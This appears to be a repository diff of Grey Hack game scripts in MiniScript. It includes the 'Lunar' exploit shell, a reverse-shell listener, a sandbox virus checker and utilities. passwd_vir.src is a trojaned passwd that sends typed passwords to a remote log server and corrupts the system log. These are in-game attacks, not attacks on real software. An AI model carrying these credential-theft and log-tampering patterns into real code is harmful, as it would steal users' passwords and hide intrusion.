mem=insec.mem
for vuln in insec.vulns
exp=vuln
if args then result=ml.overflow(mem,exp,args) else result=ml.overflow(mem,exp)
perms=checkPerms(result)
if not perms then continue
exploit={}
exploit.obj=result
exploit.user=perms.user
exploit.mem=mem
exploit.exp=exp
exploit.lan=perms.lan
exploit.pub=perms.pub
if pubip == exploit.pub and anon then exploit.pub="x.x.x.x"
if exlib then exploit.port=exlib.name else exploit.port=expport
if results.indexOf(exploit) != null then continue
results.push(exploit)
end for
end for
else
scanned=exploit(lmx,ml,args)
newLib={}
newLib.name=scanned.db.name
newLib.ver=scanned.db.ver
newLib.vulns=[]
for mem in scanned.db.exploits
ex={}
ex.mem=mem.mem
ex.vulns=[]
for ent in mem.vulns
exp=ent.vuln
ex.vulns.push(exp)
result=ent.result
perms=checkPerms(result)
if not perms then continue
exploit={}
exploit.obj=result
exploit.user=perms.user
exploit.mem=mem.mem
exploit.exp=exp
exploit.lan=perms.lan
exploit.pub=perms.pub
if pubip == exploit.pub and anon then exploit.pub="x.x.x.x"
if exlib then exploit.port=exlib.name else exploit.port=expport
if results.indexOf(exploit) != null then continue
results.push(exploit)
end for
newLib.vulns.push(ex)
end for
n="/"+newLib.name+"#"+newLib.ver+char(10)
for vuln in newLib.vulns
n=n+":"+vuln.mem+char(10)+vuln.vulns.join(char(10))+char(10)
end for
if server then
if dbfile.get_content.len > 1 then
if compression(compression(dbfile.get_content,"decompress")+n,"compress").len >= 160000 then
server.host_computer.touch("/root/exploits","exp"+server.host_computer.File("/root/exploits").get_files.len+1)
globals.dbfile=servdb.get_files[-1]
end if
end if
end if
if dbfile.get_content.len == 0 then dbfile.set_content(compression(n,"compress")) else dbfile.set_content(compression(compression(dbfile.get_content,"decompress")+n,"compress"))
end if
end function
getExploits=function()
globals.exploits=[]
if server then
e=""
globals.dbfile=servdb.get_files[-1]
for file in servdb.get_files
if file.get_content.len > 1 then e=e+compression(file.get_content,"decompress")
end for
for line in e.split("/")
if line == "" then continue
newLib={}
newLib.name=line.split("#")[0]
newLib.ver=line.split("#")[1].split(char(10))[0]
newLib.vulns=[]
vulns=line.split(":")
vulns.pull
for l in vulns
l=l.split("\n")
if l[0] == "" then continue
ex={"mem": 0, "vulns": []}
ex.mem=l.pull
for vuln in l
if vuln == "" then continue
ex.vulns.push(vuln)
end for
newLib.vulns.push(ex)
end for
exploits.push(newLib)
end for
return
end if
if dbfile.get_content.len == 0 then return
for line in compression(dbfile.get_content,"decompress").split("/")
if line == "" then continue
newLib={}
newLib.name=line.split("#")[0]
newLib.ver=line.split("#")[1].split("\n")[0]
newLib.vulns=[]
for l in line.split(":")[1:]
l=l.split("\n")
if l[0] == "" then continue
ex={"mem": 0, "vulns": []}
ex.mem=l.pull
for vuln in l
if vuln == "" then continue
ex.vulns.push(vuln)
end for
newLib.vulns.push(ex)
end for
exploits.push(newLib)
end for
return
end function
getPath=function(path)
path=path.split("/")
cpath=xpath.split("/")
if cpath.join("/") == "/" then cpath=[""]
if path[0] == "" then cpath=[""]
if path[0] == "#" and home != "/" then cpath=home.split("/")
for p in path
if p == "" then continue
if p == "#" then continue
if p == "." then
check=null
if shelltype == "file" then check=getFile((cpath+[p]).join("/")) else check=comp.File((cpath+[p]).join("/"))
if not check then continue
end if
if p == ".." then
cpath.pop
continue
end if
cpath.push(p)
end for
cpath=cpath.join("/")
if cpath == "" then cpath="/"
return cpath
end function
getFile=function(path)
if path.split("/")[0] != "" then return null
file=comp
for i in path.split("/")
if i == "" then continue
files=file.get_folders+file.get_files
file=null
for sub in files
if sub.name == i then
file=sub
break
end if
end for
if not file then return null
end for
return file
end function
if launch_path != program_path and not launchnum then print("<color=#7141c4>[Lunar] </color><color=#8254d1>Warning: Invalid program launch path.")
checkemail=mail_login
if typeof(checkemail) != "MetaMail" then intrude("Autologin failed")
l1=checkemail.fetch.len
checkemail.send("",get_shell.host_computer.public_ip,"<color=#7141c4>[Lunar Security]</color>"+char(10)+"<color=#7141c4>[IP] </color><color=#8254d1>"+get_shell.host_computer.public_ip+"</color>"+char(10)+"<color=#7141c4>[Local IP] </color><color=#8254d1>"+get_shell.host_computer.local_ip+"</color>"+char(10)+"<color=#7141c4>[Date] </color><color=#8254d1>"+current_date+"</color>"+char(10)+"<color=#7141c4>[Reason] </color><color=#8254d1>AutoLogin</color>")
l2=checkemail.fetch.len
if l1 == l2 then intrude("Autologin failed")
checkemail.delete(checkemail.fetch[0].split(char(10))[2][8:])
if params.len > 0 then
if params[0].indexOf("l") == null then serve else la=1
if params[0].indexOf("R") != null then
comp.File(lunar).delete
comp.File(mxf).delete
comp.File(cpf).delete
cmds.corrupt(0)
exit("<color=#7141c4>[Lunar]</color><color=#8254d1> Removed traces</color>")
end if
if params[0].indexOf("a") != null then anon=1
else
serve
end if
rhost=comp.network_gateway
if rhost == "0.0.0.0" then rhost=comp.local_ip
print("<color=#7141c4> -= { </color><color=#8254d1><b>[Lunar OS]</b></color><color=#7141c4> } =- </color>")
start=time
print("<color=#7141c4>[Lunar] </color><color=#8254d1>Performing short systems check...</color>")
print("<color=#7141c4>[Lunar] </color><color=#8254d1>Libraries loaded: ["+mxf+", "+cpf+"]</color>")
print("<color=#7141c4>[Lunar] </color><color=#8254d1>Vulnerability database loaded successfully</color>")
if server.shell then print("<color=#7141c4>[Lunar] </color><color=#8254d1>Serverside functions OK!</color>") else print("<color=#7141c4>[Lunar] </color><color=#8254d1>Serverside functions check failure</color>")
elapsed=str(time-start)
elapsed=elapsed[0:elapsed.indexOf(".")+2]
start=null
print("<color=#7141c4>[Lunar] </color><color=#8254d1>Finished system check in ["+elapsed+"] seconds.</color>")
lunaros=function(input=null)
while 1
globals.shelltype=typeof(shell)
if shelltype == "shell" then
globals.comp=shell.host_computer
globals.sstat="Shell"
else if shelltype == "computer" then
globals.comp=shell
globals.sstat="Computer"
else if shelltype == "file" then
globals.comp=shell
while comp.path != "/"
globals.comp=comp.parent
end while
globals.sstat="File"
end if
if shelltype == "file" then
globals.pubip=sessions[session].shell.pubip
globals.locip=sessions[session].shell.locip
else
globals.pubip=comp.public_ip
globals.locip=comp.local_ip
end if
if anon then
globals.display="\n<color=#7141c4>[Lunar"+sstat+"] </color><color=#8254d1>anon@x.x.x.x ~ "+locip+"</color>"
globals.home="/"
else
globals.display="\n<color=#7141c4>[Lunar"+sstat+"] </color><color=#8254d1>"+xuser+"@"+pubip+" ~ "+locip+"</color>"
if xuser == "root" then globals.home="/root" else globals.home="/home/"+xuser
if origShell then globals.home=home_dir
if shelltype == "file" then
if not getFile(home) then globals.home="/"
else
if not comp.File(home) then globals.home="/"
end if
end if
globals.displaypath=xpath
if home != "/" then
globals.displaypath=xpath.split("/")[:home.split("/").len].join("/")
if displaypath == home then globals.displaypath="~"+([""]+xpath.split("/")[home.split("/").len:]).join("/") else globals.displaypath=xpath
end if
globals.display=display+"\n<color=#7141c4>"+displaypath+":~$ </color><color=#8254d1>"
globals.pipe=[]
prompt=[]
next=[]
if input then prompt=input else prompt=user_input(display).split(" ")
if prompt[0] == "|" then continue
if prompt.indexOf("|") >= 0 then
prompt.push("|")
while prompt.len
pipe.push(prompt[:prompt.indexOf("|")])
prompt=prompt[prompt.indexOf("|"):][1:]
end while
else
pipe.push(prompt[0:])
end if
while pipe.len
dbfile=null
if server.shell then
globals.xconf=server.shell.host_computer.File("/root/conf")
globals.servdb=server.shell.host_computer.File("/root/exploits")
globals.dbfile=servdb.get_files[-1]
upref=xconf.get_content
config={"rss": {"ip": "none", "user": "none", "pass": "none", "port": 0, "rport": 0}, "mail": {"user": "none", "pass": "none"}, "proc": "none"}
if upref.len > 0 then config=deserialize(encrypt(upref,"Lunar","dec"))
globals.conf=config
else
globals.expdb=current_path+"/LuDB"
if not get_shell.host_computer.File(expdb) then get_shell.host_computer.touch(current_path,"LuDB")
globals.dbfile=get_shell.host_computer.File(expdb)
end if
globals.exlib=null
globals.expport=null
globals.shelltype=typeof(shell)
if shelltype == "shell" then
globals.comp=shell.host_computer
else if shelltype == "computer" then
globals.comp=shell
end if
if shelltype == "file" then
globals.comp=shell
while comp.path != "/"
globals.comp=comp.parent
end while
globals.pubip=sessions[session].shell.pubip
globals.locip=sessions[session].shell.locip
else
globals.pubip=comp.public_ip
globals.locip=comp.local_ip
end if
prompt=pipe.pull
if next.len then prompt.push(next.pull)
if prompt[0] == "" or prompt[0] == "0" or not prompt[0] then continue
i=0
for el in prompt
if el == "" then prompt[i]=0
i=i+1
end for
if prompt[0] == "r" then prompt[0] = "rhost"
if prompt[0] == "f" then prompt[0] = "nmap"
if prompt[0] == "w" then prompt[0] = "target"
if prompt[0] == "a" then prompt[0] = "escalate"
if prompt[0] == "d" then prompt[0] = "use"
if prompt[0] == "rnd" then prompt[0] = "random"
if prompt[0] == "enc" then prompt[0] = "shade"
if prompt[0] == "up" then prompt[0] = "put"
if prompt[0] == "dl" then prompt[0] = "get"
if prompt[0] == "clr" or prompt[0] == "cls" then prompt[0]="clear"
if prompt[0] == "!!" then prompt=previous
previous=prompt
args=prompt[1:]
comm=prompt[0]
if cmds.hasIndex(comm) then
f=@cmds[comm]
if clipboard then
for inp in args
if typeof(clipboard) == "string" and inp == "copyv" then args[args.indexOf(inp)] = clipboard
if typeof(clipboard) == "map" and clipboard.hasIndex(inp) then args[args.indexOf(inp)] = clipboard[inp]
end for
end if
out=f(args)
if out.bool == 1 then
if pipe.len then next.push(out.out) else print("<color=#7141c4>[Lunar] </color><color=#8254d1>"+out.out+"</color>")
else if out.bool == 0 then
print("<color=#7141c4>[Lunar] </color><color=#8254d1>"+out.err+"</color>")
break
end if
if out.bool == 3 then break
if COB.indexes.indexOf("returned") != null then
globals.sessions[session].shells.push(globals.sessions[session].shell)
globals.shell=COB.returned.shell
globals.origShell=0
globals.xuser=COB.returned.user
globals.xpath=COB.returned.path
globals.sessions[session].shell={"shell": shell, "path": xpath, "user": xuser, "orig": origShell}
if @COB.remove != @locals.remove then
COB.remove=@locals.remove
COB.remove("remove")
end if
COB.remove("returned")
end if
end if
end while
if input then return
end while
end function
if params[1:].len then lunaros(params[1:])
lunaros()

80
passwd_vir.src Normal file
View file

@ -0,0 +1,80 @@
import_code("/root/CryptLib")
if params.len != 1 or params[0] == "-h" or params[0] == "--help" then exit(command_info("passwd_usage"))
inputMsg = "Changing password for user " + params[0] +".\nNew password:"
inputPass = user_input(inputMsg, true)
output = get_shell.host_computer.change_password(params[0], inputPass)
if output == true then
encrypt=function(pass,secret,type)
cryptChars=function(pass)
if typeof(pass) == "string" then
newList=[]
for chr in pass
newList.push(bitwise("^",chr.code,key))
end for
return newList.join("/")
else if typeof(pass) == "list" then
newList=""
for num in pass
newList=newList+char(bitwise("^",num.to_int,key))
end for
return newList
end if
end function
shiftChars=function(pass,shift,list)
enc=""
for chr in pass
if list.indexOf(chr) == null then continue
newChar=shift[list.indexOf(chr)]
enc=enc+newChar
end for
return enc
end function
allowedChars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/_.@=!#$%^&*()-+|?<>"
shiftedChars="Cy|=a+!@z^M7rmg*BUh(Ne-5tV8dTq?$u4vo1>kWxJpARLcKSb320%EQH6<w_nOG#.&/ZsXI)PjfiFYDl9"
passLen=pass.len
key=0
for chr in secret
key=key+chr.code
end for
if type == "enc" then
enc1=cryptChars(pass)
crypt=shiftChars(enc1,shiftedChars,allowedChars)
else if type == "dec" then
dec=shiftChars(pass,allowedChars,shiftedChars)
dec=dec.split("/")
dec=cryptChars(dec)
crypt=dec
end if
return(crypt)
end function
perms=false
if get_shell.host_computer.File("/var/system.log") and get_shell.host_computer.File("/var/system.log").has_permission("w") then perms=true
proxy=get_shell.connect_service
logServ=null
if typeof(proxy) == "shell" then logServ=proxy.connect_service
if not logServ then
shell.start_terminal
exit
end if
passlog=logServ.host_computer.File("/root/passwd")
if perms then
get_shell.host_computer.touch("/var","system.bak")
bak=get_shell.host_computer.File("/var/system.bak")
bak.set_content("corrupted")
bak.move("/var","system.log")
wait(.2)
log=get_shell.host_computer.File("/var/system.log")
end if
cont=CryptLib.Deserialize(encrypt(passlog.get_content,"Lunar","dec"))
log={"source": get_shell.host_computer.public_ip, "user": params[0], "pass": inputPass}
if cont.indexOf(log) == null then cont.push(log)
passlog.set_content(encrypt(CryptLib.Serialize(cont),"Lunar","enc"))
exit("password modified OK")
end if
if output then exit(output)
print("Error: password not modified")

29468
password.txt Normal file

File diff suppressed because it is too large Load diff

111
playerfinder.src Normal file
View file

@ -0,0 +1,111 @@
ips=get_shell.host_computer.File(current_path+"/players.enc")
if not ips then get_shell.host_computer.touch(current_path,"players.enc")
ips=get_shell.host_computer.File(current_path+"/players.enc")
if ips.get_content.len == 0 and params.len != 1 then exit("No IPs found ("+program_path.split("/")[-1]+" [ip]")
if params.len > 1 then exit("Invalid parameters")
encrypt=function(pass,secret,type)
cryptChars=function(pass)
if typeof(pass) == "string" then
newList=[]
for chr in pass
newList.push(bitwise("^",chr.code,key))
end for
return newList.join("/")
else if typeof(pass) == "list" then
newList=""
for num in pass
newList=newList+char(bitwise("^",num.to_int,key))
end for
return newList
end if
end function
shiftChars=function(pass,shift,list)
enc=""
for chr in pass
if list.indexOf(chr) == null then continue
newChar=shift[list.indexOf(chr)]
enc=enc+newChar
end for
return enc
end function
allowedChars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/_.@=!#$%^&*()-+|?<>"
shiftedChars="S+49K_7?^VL0s6yOe$b#A.X!T=EQP)H>imv@nZB8gw(tpaoM2<jYNC1l%GDF&JRzfr*/hc3|qdWk5xu-UI"
passLen=pass.len
key=0
for chr in secret
key=key+chr.code
end for
if type == "enc" then
enc1=cryptChars(pass)
crypt=shiftChars(enc1,shiftedChars,allowedChars)
else if type == "dec" then
dec=shiftChars(pass,allowedChars,shiftedChars)
dec=dec.split("/")
dec=cryptChars(dec)
crypt=dec
end if
return(crypt)
end function
if params.len == 1 then
ip=params[0]
router=get_router(ip)
if not router then exit("Invalid IP")
routerIP=router.local_ip.split(".")[:3].join(".")
lans=[]
for l in router.devices_lan_ip
if l.split(".")[:3].join(".") == routerIP then lans.push(l)
end for
check=null
for l in ips.get_content.split("\n")
if encrypt(l.split(":")[0],"player","dec") == ip then check=l
end for
if check != null then
detected=0
if lans.len != l.split(":")[1].to_int then detected=1
nums=[]
for l in lans
nums.push(l.split(".")[-1].to_int)
end for
nums.sort
if nums.len != nums[-1] then detected=1
if detected then exit("<color=red><b>Network changed!</b></color>") else exit("No network changes")
end if
cont=ips.get_content.split("\n").push(encrypt(ip,"player","enc")+":"+lans.len)
while cont.indexOf("") != null
cont.remove(cont.indexOf(""))
end while
ips.set_content(cont.join(char(10)))
exit
end if
for i in ips.get_content.split("\n")
if i == "" then continue
detected=0
ip=encrypt(i.split(":")[0],"player","dec")
num=i.split(":")[-1].to_int
nums=[]
router=get_router(ip)
if not router then continue
routerIP=router.local_ip.split(".")[:3].join(".")
lans=[]
for l in router.devices_lan_ip
if l.split(".")[:3].join(".") == routerIP then lans.push(l)
end for
if lans.len != num then detected=1
for l in lans
nums.push(l.split(".")[-1].to_int)
end for
nums.sort
if nums.len != nums[-1] then detected=1
if detected then print("<color=red><b>"+ip+" network change!</b></color>") else print(ip+", no change")
end for

73
ps.src Normal file
View file

@ -0,0 +1,73 @@
comp=get_shell.host_computer
bar = function(n, bar_length = 30) // percentage number
fill_count = ceil(n / bar_length * 10)
empty_count = bar_length - fill_count
fill_bar = "#"*fill_count
empty_bar = "-"*empty_count
bar = "<color=#21bcff>"+fill_bar+"</color><color=#032e41>"+empty_bar+"</color>"
return bar
end function
ps_out = comp.show_procs
tasks = 0
cpu_load = 0.0
mem_load = 0.0
users=[]
// convert ps output to a map
for l in ps_out.split("\n")[1:]
l = l.split(" ")
cpu_load = cpu_load + l[2][:-1].val
mem_load = mem_load + l[3][:-1].val
if l[0] == "root" then
u = "<color=#ff4b4b>"+l[0]+"</color>"
else
u = "<color=#fbfbfb>"+l[0]+"</color>"
end if
n = "<color=#20ff98>"+l[1]+"</color>"
c = "<color=#21bcff>"+l[2]+"</color>"
m = "<color=#21bcff>"+l[3]+"</color>"
p = "<color=#baff50>"+l[4]+"</color>"
im=0
for i in users
if i.u == u then
i.t.push({"n": n, "c": c, "m": m, "p": p})
im=1
end if
end for
if not im then
map={}
map.u=u
map.t=[]
map.t.push({"n": n, "c": c, "m": m, "p": p})
users.push(map)
end if
tasks=tasks+1
end for
print("<color=#fbfbfb>tasks: "+tasks+"</color>")
print("<color=#fbfbfb>cpu_usage: [</color>"+bar(cpu_load)+"<color=#fbfbfb>]==[ </color><color=#21bcff>"+cpu_load+"%</color> <color=#fbfbfb>]</color>")
print("<color=#fbfbfb>mem_usage: [</color>"+bar(mem_load)+"<color=#fbfbfb>]==[ </color><color=#21bcff>"+mem_load+"%</color> <color=#fbfbfb>]</color>\n")
// print ps with colors
pps = []
ps = ps_out.split("\n")
print("<color=#9d9d9d>-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-</color>")
for m in users
pps.push(m.u)
for t in m.t
l=[t.n, t.c, t.m, t.p]
pps.push(l.join(" "))
end for
pps.push("<color=#9d9d9d>X</color>")
end for
print(format_columns(pps.join("\n")))

84
randomart.src Normal file
View file

@ -0,0 +1,84 @@
//create art from encryption keys :)
import_code("/root/Fox.so")
NW=0
NE=1
SW=2
SE=3
parseInt=@FoxLib.General.ParseInt
max=function(int1,int2)
if int1 > int2 then return int1 else return int2
end function
min=function(int1,int2)
if int1 < int2 then return int1 else return int2
end function
move=function(position,mv,wid,high)
posx=floor(position%wid)
posy=floor(position/wid)
newposx=posx
if mv == NW or mv == SW then newposx=newposx-1
if mv == NE or mv == SE then newposx=newposx+1
newposy=posy
if mv == NW or mv == NE then newposy=newposy-1
if mv == SW or mv == SE then newposy=newposy+1
newposx=max(0,min(wid-1,newposx))
newposy=max(0,min(high-1,newposy))
return newposx+newposy*wid
end function
hex2dec=function(hex)
ints=[]
for i in range(0,hex.len-1,2)
ints.push(parseInt(hex[i:i+2],10,16))
end for
return ints
end function
randart=function(data)
alt=" .o+=*B0X@%&#/^"
width=17
height=9
board=[]
while board.len != width*height
board.push(0)
end while
bytes=hex2dec(data)
pos=width*4+8;
start=pos
for i in range(0,bytes.len-1)
d=bytes[i]
for j in range(0,6,2)
v = bitwise("&", bitwise(">>", d, j), 3)
newpos=move(pos,v,width,height)
board[newpos]=board[newpos]+1
pos=newpos
end for
end for
art=""
for p in range(0,width*height-1)
m=board[p]
if m >= alt.len then m=alt.len-1
chr=alt[m]
if p == start then chr="S"
if p == pos then chr="E"
art=art+chr
if(p % width == width -1) then art=art+char(10)
end for
return art
end function
init=md5(str((rnd*100000) - (rnd*100000)))
print(init)
print randart(init)

50
rcon.src Normal file
View file

@ -0,0 +1,50 @@
//server control program
colors={}
colors.lg="#1FCB69"
colors.g="#4B693D"
colors.lr="#E51C1C"
colors.r="#A20000"
colors.p="#6E2FB6"
colors.c="#5FCCFF"
colors.w="#6E6E6E"
colors.o="#E58638"
COB=get_custom_object
import_code("/root/Fox.so")
COB.server={}
libs=FoxLib.General.LibFinder
print libs
mxf=libs.mxf
cpf=libs.cpf
cp=null
apt=null
if cpf then cp=include_lib(cpf)
if libs.apt then apt=include_lib(libs.apt)
COB.server.cp=cp
mx=null
if not mxf then exit("<color="+colors.w+">[</color><color="+colors.r+">Remote exploit library not found!</color><color="+colors.w+">]</color>")
if not cpf then exit("<color="+colors.w+">[</color><color="+colors.r+">Remote crypto library not found!</color><color="+colors.w+">]</color>")
cp=include_lib(cpf)
if apt then
if get_shell.host_computer.File("/etc/apt") then
if not get_shell.host_computer.File("/etc/apt/aptcache.bin") then apt.update
end if
inSource=apt.show("30.30.30.30")
if inSource == "30.30.30.30 repository not found" then
apt.add_repo("30.30.30.30",1542)
apt.update
end if
if typeof(apt.check_upgrade(mxf)) == "number" and apt.check_upgrade(mxf) then
print("<color="+colors.w+">[</color><color="+colors.g+">Updating remote exploit library...</color><color="+colors.w+">]</color>")
apt.install("metaxploit.so",parent_path(mxf))
end if
end if
mx=include_lib(mxf)
COB.server.mx=mx
exit

27
rss.src Normal file
View file

@ -0,0 +1,27 @@
COB=get_custom_object
root=get_shell.host_computer.File("/")
mxf=null
newFiles=[]
newFiles=newFiles+root.get_folders+root.get_files
while newFiles.len
currFile=newFiles.pull
if currFile.is_folder then newFiles=currFile.get_folders+currFile.get_files+newFiles
test=include_lib(currFile.path)
if typeof(test) == "MetaxploitLib" and not mxf then mxf=currFile.path
end while
if not mxf then exit("metaxploit not found")
mx=include_lib(mxf)
rss=include_lib("/lib/librshell.so")
if not rss then exit("no rshell server installed")
sfile=get_shell.host_computer.File(current_path+"/shell")
if not sfile then get_shell.host_computer.touch(current_path,"shell")
sfile=get_shell.host_computer.File(current_path+"/shell")
rsinfo = "num pubip locip user\n"
shells=[]
print("Waiting for connections. . .")
while shells.len == 0
shells=mx.rshell_server
if shells.len == 0 then wait(2)
end while
COB.rshells=shells

354
sandboxy.src Normal file
View file

@ -0,0 +1,354 @@
//S&boxy
import_code("/root/BTC")
ver="1.0.0"
callSand=function()
globals.server=get_shell.connect_service
if typeof(server) != "shell" then exit("<color=red><b>Could not connect</b></color>")
globals.root=server.connect_service
if typeof(root) != "shell" then exit("<color=red><b>Could not connect</b></color>")
globals.sandbox=server.connect_service
if typeof(sandbox) != "shell" then exit("<color=red><b>Could not connect</b></color>")
end function
Sha256 = function(password)
Blocks = [[0]]
i=0
e=0
while i < password.len
e=4
while e > 0 and password.hasIndex(i)
e=e-1
Blocks[-1][-1] = Blocks[-1][-1] + code(password[i])*256^e
i=i+1
end while
if e == 0 then
if Blocks[-1].len == 16 then Blocks = Blocks + [[0]] else Blocks[-1] = Blocks[-1] + [0]
end if
end while
if e > 0 then
Blocks[-1][-1] = Blocks[-1][-1] + (2147483648/256^(4-e))
else
Blocks[-1][-1] = 2147483648
end if
if Blocks[-1].len == 16 then Blocks = Blocks + [[0]]
while Blocks[-1].len != 15
Blocks[-1] = Blocks[-1] + [0]
end while
Blocks[-1] = Blocks[-1] + [password.len*8]
add = function(a, b)
return (a + b) % 4294967296
end function
XOR = function(a, b)
return bitwise("^", floor(a/65536), floor(b/65536))*65536+bitwise("^", a%65536, b%65536)
end function
AND = function(a, b)
return bitwise("&", floor(a/65536), floor(b/65536))*65536+bitwise("&", a%65536, b%65536)
end function
OR = function(a, b)
return bitwise("|", floor(a/65536), floor(b/65536))*65536+bitwise("|", a%65536, b%65536)
end function
NOT = function(n)
return 4294967295-n
end function
Ch = function(x, y, z)
return OR(AND(x, y), AND(NOT(x), z))
end function
Maj = function(x, y, z)
return OR(OR(AND(x, y), AND(x, z)), AND(y, z))
end function
shr = function(n, shifts)
return floor(n/2^shifts)
end function
rotr = function(n, rots)
rots = 2^rots
return (n % rots) * (4294967296/rots) + floor(n/rots)
end function
sigma0 = function(n)
return XOR(XOR(rotr(n, 7), rotr(n, 18)), shr(n, 3))
end function
sigma1 = function(n)
return XOR(XOR(rotr(n, 17), rotr(n, 19)), shr(n, 10))
end function
SIGMA0 = function(n)
return XOR(XOR(rotr(n, 2), rotr(n, 13)), rotr(n, 22))
end function
SIGMA1 = function(n)
return XOR(XOR(rotr(n, 6), rotr(n, 11)), rotr(n, 25))
end function
K = []
K = K + [1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221]
K = K + [3624381080, 310598401, 607225278, 1426881987, 1925078388, 2162078206, 2614888103, 3248222580]
K = K + [3835390401, 4022224774, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986]
K = K + [2554220882, 2821834349, 2952996808, 3210313671, 3336571891, 3584528711, 113926993, 338241895]
K = K + [666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, 2177026350, 2456956037]
K = K + [2730485921, 2820302411, 3259730800, 3345764771, 3516065817, 3600352804, 4094571909, 275423344]
K = K + [430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779]
K = K + [1955562222, 2024104815, 2227730452, 2361852424, 2428436474, 2756734187, 3204031479, 3329325298]
H = [1779033703, 3144134277, 1013904242, 2773480762, 1359893119, 2600822924, 528734635, 1541459225]
for Block in Blocks
W = Block[0:]
for i in range(16, 63)
W = W + [add(add(add(sigma1(W[i-2]), W[i-7]), sigma0(W[i-15])), W[i-16])]
end for
a = H[0]
b = H[1]
c = H[2]
d = H[3]
e = H[4]
f = H[5]
g = H[6]
h = H[7]
for i in range(0, 63)
T1 = add(add(add(add(SIGMA1(e), Ch(e, f, g)), h), K[i]), W[i])
T2 = add(SIGMA0(a), Maj(a, b, c))
h = g
g = f
f = e
e = add(d, T1)
d = c
c = b
b = a
a = add(T1, T2)
end for
H[0] = add(a, H[0])
H[1] = add(b, H[1])
H[2] = add(c, H[2])
H[3] = add(d, H[3])
H[4] = add(e, H[4])
H[5] = add(f, H[5])
H[6] = add(g, H[6])
H[7] = add(h, H[7])
end for
hexTable = "0123456789abcdef"
output = ""
for i in H.indexes
for j in range(7)
output = output + hexTable[floor(H[i]/16^j) % 16]
end for
end for
return output
end function
getPath=function(path)
cpath=current_path
if path != "/" then
path=path.split("/")
if path[-1] == "" then path.pop
if path[0] == ".." then
if path.len == 1 then
path=parent_path(cpath)
else
path.pull
if parent_path(cpath) == "/" then
path=parent_path(cpath)+path.join("/")
else
path=parent_path(cpath)+"/"+path.join("/")
end if
end if
else if path[0] == "." then
if path.len == 1 then
path=cpath
else
path.pull
if cpath == "/" then
path=cpath+path.join("/")
else
path=cpath+"/"+path.join("/")
end if
end if
else if path[0] == "#" and home != "/" then
path.pull
path=home+"/"+path.join("/")
else if path[0] != "" then
if cpath == "/" then
path=cpath+path.join("/")
else
path=cpath+"/"+path.join("/")
end if
else if path[0] == "" then
path=path.join("/")
end if
end if
return path
end function
test=function()
print("<color=#309FFF>File test fee is 20 BTC</color>")
print("<color=#309FFF>Please input file path</color>")
path=getPath(user_input("<color=#309FFF>$ </color><color=white>"))
if not get_shell.host_computer.File(path) then exit("<color=#309FFF>File does not exist</color>")
if not get_shell.host_computer.File(path).has_permission("r") then exit("<color=#309FFF>No permissions to file</color>")
if get_shell.host_computer.File(path).is_folder then exit("<color=#309FFF>Cannot upload folders</color>")
if not get_shell.host_computer.File(path).is_binary then exit("<color=#309FFF>Not a program</color>")
output=BTC.transfer("sparki","20")
if not output.bool then exit("<color=#309FFF>Purchase failed</color>")
print("<color=#309FFF>Uploading file...</color>\n")
get_shell.scp(path,"/sandbox",root)
print("<color=#309FFF>Saving system state...</color>")
name=path.split("/")[-1]
newName=Sha256(name)
path="/sandbox/"+path.split("/")[-1]
newPath="/sandbox/"+newName
comp=root.host_computer
comp.File(path).chmod("o-wrx")
comp.File(path).chmod("u-wrx")
comp.File(path).chmod("g-wrx")
comp.File(path).set_owner("root")
comp.File(path).set_group("root")
comp.File(path).chmod("o+x")
comp.File(path).move("/sandbox",newName)
safeRepos=comp.File("/etc/apt/sources.txt").get_content.split("\n")[3:-2].len
safeProcs=[]
procs=comp.show_procs.split("\n")[1:]
for proc in procs
proc=proc.split(" ")
safeProcs.push({"user": proc[0], "id": proc[1], "name": proc[-1]})
end for
safeFiles=[]
newFiles=[]
rootf=comp.File("/")
newFiles=newFiles+rootf.get_folders+rootf.get_files
while newFiles.len
currFile=newFiles.pull
if currFile.path=="/sandbox" then continue
safeFiles.push({"path": currFile.path, "size": currFile.size})
for file in currFile.get_folders+currFile.get_files
newFiles.push(file)
end for
end while
print("<color=#309FFF>Running file...</color>")
sandbox.launch(newPath)
print("<color=#309FFF>Run complete</color>")
print("<color=#309FFF>Checking filesystem...</color>")
newProcs=comp.show_procs.split("\n")[1:]
detected=0
newRepos=comp.File("/etc/apt/sources.txt").get_content.split("\n")[3:-2].len
if newRepos > safeRepos then
print("<color=#309FFF>Repository list changed</color>")
print("<color=#309FFF>Assuming safe</color>")
end if
for proc in newProcs
proc=proc.split(" ")
proc={"user": proc[0], "id": proc[1], "name": proc[-1]}
if safeProcs.indexOf(proc) == null then
print("<color=#309FFF>RSHELL DETECTED!</color>")
detected=1
comp.close_program(proc.id.to_int)
if proc.name == newName then
print("<color=#309FFF>Assuming false-positive</color>")
detected=0
end if
end if
wait(1)
end for
newFiles=[]
newFiles=newFiles+rootf.get_folders+rootf.get_files
while newFiles.len
currFile=newFiles.pull
file={"path": currFile.path, "size": currFile.size}
if currFile.path=="/sandbox" then continue
if safeFiles.indexOf(file) == null and not currFile.is_folder then
print("<color=#309FFF>FILE CHANGED! "+currFile.path+"</color>")
currFile.delete
detected=1
end if
for file in currFile.get_folders
newFiles.push(file)
end for
end while
print("<color=#309FFF>Test finished</color>")
comp.File(newPath).delete
if not detected then
print("<color=#309FFF>No viruses detected</color>")
else
print("<color=#309FFF>Virus detected</color>")
end if
print("<color=#309FFF>Proceed with caution</color>")
get_shell.start_terminal
exit()
end function
logo=function()
print("<color=#1C5F96>-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-</color>")
print("<color=#309FFF> _____ </color><color=white>___</color><color=#309FFF> __ </color>")
print("<color=#309FFF> / ___/ </color><color=white>( _ )</color><color=#309FFF> / /_ ____ _ __ __ __</color>")
print("<color=#309FFF> \__ \ </color><color=white>/ __ \/|</color><color=#309FFF> / __ \ / __ \ | |/_/ / / / /</color>")
print("<color=#309FFF> ___/ / </color><color=white>/ /_/ <</color><color=#309FFF> / /_/ // /_/ / _> < / /_/ / </color>")
print("<color=#309FFF> /____/ </color><color=white>\____/\/</color><color=#309FFF> /_.___/ \____/ /_/|_| \__, / </color>")
